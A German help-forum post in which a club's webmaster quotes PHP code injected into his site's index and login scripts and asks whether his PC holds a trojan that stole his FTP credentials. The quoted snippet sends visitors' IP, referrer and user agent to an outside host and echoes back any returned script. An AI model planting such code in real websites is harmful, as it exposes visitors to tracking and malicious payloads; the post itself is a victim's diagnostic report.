Schädlicher Quellcode in PHP-Dateien auf FTP-Server hinzugefügt

Metallica81 · 15.06.2014, 08:49

Hallo,

Ich habe von meinem Hosting-Provider eine E-Mail erhalten, dass bei einem routinemäßigen Virenscan Dateien mit Schadcode gefunden wurden.

Betroffen sind nach näherer Analyse alle PHP-Skripte auf meiner Homepage, die entweder das Schlüsselwort index oder login im Dateinamen beinhalten.

Laut meinem Provider sind 2 mögliche Ursachen denkbar:
1) Sicherheitslücken in oft nicht aktualisierten Scripten wie CMS, Shop, Forum, Gästebücher usw.
2) Befall mit Schadcode auf dem PC, mit dem die Webseite bearbeitet wurde.

Die Webseite (von einem Verein) bearbeite ausschließlich ich - also wäre im Fall 2 wohl mein PC betroffen.

In den betroffenen Seiten habe ich tatsächlich Code gefunden, der definitiv nicht von mir stammt und ans unveränderte Ende meines Codes angehängt wurde:

Option 1 (Sicherheitslücken in Skripten) halte ich für nicht so realistisch, da keine der betroffenen Dateien Formulare mit Eingabemöglichkeiten für den Benutzer beihalteten.
Das Gästebuch (einzige Eingabemöglichkeit) war nicht betroffen.
Einige der veränderten Seiten liegen zudem in geschützten Bereichen.

Ich halte es für wahrscheinlicher, dass jemand automatisiert (ansonsten wäre denke ich kein Muster bei den Dateinamen erkennbar) direkt über den FTP-Account die betroffenen PHP-Skripte verändert hat.

Ein Beispiel für den hinzugefügten Code:

Zitat:

<?php
#19f955#
error_reporting(0); ini_set('display_errors',0); $wp_cmz97977 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_cmz97977) && !preg_match ('/bot/i', $wp_cmz97977))){
$wp_cmz0997977="hxxp://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_cmz97977);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_cmz0997977);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_97977cmz = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_97977cmz,1,3) === 'scr' ){ echo $wp_97977cmz; }
#/19f955#
?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>
<?php

?>

Mir fallen 3 Möglichkeiten ein wie das passieren kann:
1) Provider wurde gehacked so dass Angreifer Zugriff auf die kompletten Webserver haben (in meinen Augen unwahrscheinlich, da andere Seiten die ich beim gleichen Provider hoste nicht betroffen sind)
2) Jemand hat die Zugangsdaten zu meinem FTP-Account "erraten"
3) Ich habe einen Trojaner auf meinem Rechner, über den jemand die Zugangsdaten ausgespäht hat

Ich habe einen Virenscan mit aktuellster Kaspersky-Version laufen lassen - nichts gefunden.
Zusätzlich ahbe ich einmal Trojan Remover laufen lassen - da wurde einiges an AdWare umbenannt, aber Hinweise auf einen Trojaner konnte ich auch da nicht finden.

Der erste Schritt wäre nun ja erst mal das Passwort für den FTP-Account zu ändern, aber das macht denke ich ja nur Sinn, wenn sichergestellt ist, dass das geänderte Passowrt nicht gleich wieder ausgespäht wird.

Reichen Kaspersky und Trojan Remover aus, um sicherzustellen, dass ich keinen Trojaner habe?

Oder wäre es generell ratsam, zur Sicherheit den ganzen PC platt zu machen?

Können eigentlich "normale" Dateien (Dokumente wie Word, Excel, PPT, Videodateien, Bilder, ...) auch von einem möglichen Trojaner infiziert sein?
Oder legt sich ein Trojaner gewöhnlich eher in andere Dateien (Betriebssystem-Dateien, ...) so dass ich bedenkenlos nochmal die wichtigsten Dateien auf eine Festplatte ziehen könnte falls ich den Rechner neu installieren muss?
(Hintergrund: mein letztes Datei-Backup ist erstens 2-3 Wochen alt und somit würde etwas verloren gehen, und außerdem kann ich ja nicht sagen, ob ich vor diesen 2-3 Wochen bereits den Trojaner hatte)

Viele Grüße,
Metallica81

Schädlicher Quellcode in PHP-Dateien auf FTP-Server hinzugefügt

Plagegeister aller Art und deren Bekämpfung: Schädlicher Quellcode in PHP-Dateien auf FTP-Server hinzugefügt

Schädlicher Quellcode in PHP-Dateien auf FTP-Server hinzugefügt

Ähnliche Themen: Schädlicher Quellcode in PHP-Dateien auf FTP-Server hinzugefügt